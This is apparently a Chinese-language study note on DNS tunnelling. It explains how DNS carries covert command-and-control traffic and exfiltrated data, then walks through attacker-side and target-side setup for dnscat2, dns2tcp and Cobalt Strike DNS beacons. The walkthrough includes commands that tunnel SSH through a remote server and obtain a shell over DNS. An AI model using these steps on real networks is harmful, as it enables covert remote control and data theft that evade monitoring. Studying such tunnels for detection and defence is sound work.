DNS隧道学习笔记
DNS隐蔽隧道通信:
原理说明
DNS隧道是一种隐秘隧道,通过将其他协议封装到DNS协议中传输建立通信的方式。因为DNS协议在网络中一种基础必不可少的服务,所以大部分防火墙和入侵检测设备是不会对对DNS流量进行拦截过滤,这就给DNS作为隐蔽通信提供了有力条件,从而可以利用它实现诸如僵尸网络或木马的远程控制通道和对外传输数据等。
DNS隧道运营的原理可以归结为:“本地找不到,就找上一级”。当DNS服务器收到要解析的地址的DNS请求时,服务器开始在其数据库中查找。如果没有找到记录,则服务器向数据库中指定的域发送请求。
下面举一个例子说明,让我们看看如何工作的:僵尸主机发起URL请求,比如域名为5YO15bC45LiA5Y+3.xysafe.tk。DNS服务器收到此请求首先尝试找到域扩展名“.tk”,然后找到“xysafe.tk”,但是在其数据库中找不到“5YO15bC45LiA5Y+3.xysafe.tk”。然后它将请求转发到xysafe.tk,并询问它是否知道这样的名称,作为回应xysafe.tk预计将返回相应的IP;然而,它可以返回任意字符串,包括C&C指令。

危害说明
1、主机可能已中毒,攻击者利用DNS隧道控制主机对外发起DoS攻击,可能存在被网安、网信办通报的风险。
2、主机可能已中毒,攻击者利用DNS隧道对外传输敏感数据,导致客户信息被泄露。
DNS隧道工具:
dnscat2:dnscat2是一个DNS隧道工具,通过DNS协议创建加密的命令和控制通道,它的一大特色就是服务端会有一个命令行控制台,所有的指令都可以在该控制台内完成。包括:文件上传、下载、反弹Shell……
支持Type:
- A
- TXT
- CNAME
- MX
- AAAA
在攻击机上,执行:
1 | 方式1启动【常用】 |
1 | 方式2启动 |
1 | 方式3启动 |
在目标机上,执行:
1 | 对应 方式1 |
1 | 对应 方式2,注意使用--dns选项时,port不可省,否则可能连不上 |
客户端连上后,会提示:Session established!
而服务端的控制台输入:windows,即可以看到一个客户端上线:
1 | 1 :: command (DESKTOP-7NSDT5)…… |
其中:
- 1表示该客户端ID,如果使用
window -i 1,即可进入该通道;
键入shell,即可得到一个半交互shell!
dns2tcp:dns2tcp 是一个利用DNS隧道转发TCP连接的工具,使用C语言开发。
支持Type:
- KEY
- TXT
攻击机使用前应当编辑/etc/dns2tcpd.conf文件,内容如下:
1 | listen = 192.168.10.88(本机IP) |
攻击机运行dns2tcpd:
1 | dns2tcpd -F -d 1 -f /etc/dns2tcpd.conf |
参数解释:
1 | -F 前台运行 |
目标机测试连接:
1 | dns2tcpc -key 123456 -z abc.com <your server ip> |
参数解释:
1 | -key 连接密码 |
如果提示:
1 | Available connection(s): |
表示连接可用!
进行连接:
1 | dns2tcpc -key 123456 -r ssh -l 9999 -z abc.com <your server ip> |
参数解释:
1 | -r 表示要使用的服务器的哪个资源 |
最后连接ssh:
1 | ssh连接 |
cobalt strike:CS作为一款协同APT工具,功能十分强大,针对内网的渗透测试和作为容易的控制终端功能,使其变成众多APT组织的首选。
支持Type:
- A
- TXT
CS创建监听器和木马的常规步骤:
1 | 创建监听器 |
当我们需要采用DNS隧道时,只需将上面步骤中:
- 第三步:选择
beacon_dns/reserve_dns_txt类型的监听器,表示使用DNS隧道进行通讯 - 第五步:设置DNS隧道通讯需要用到的域名






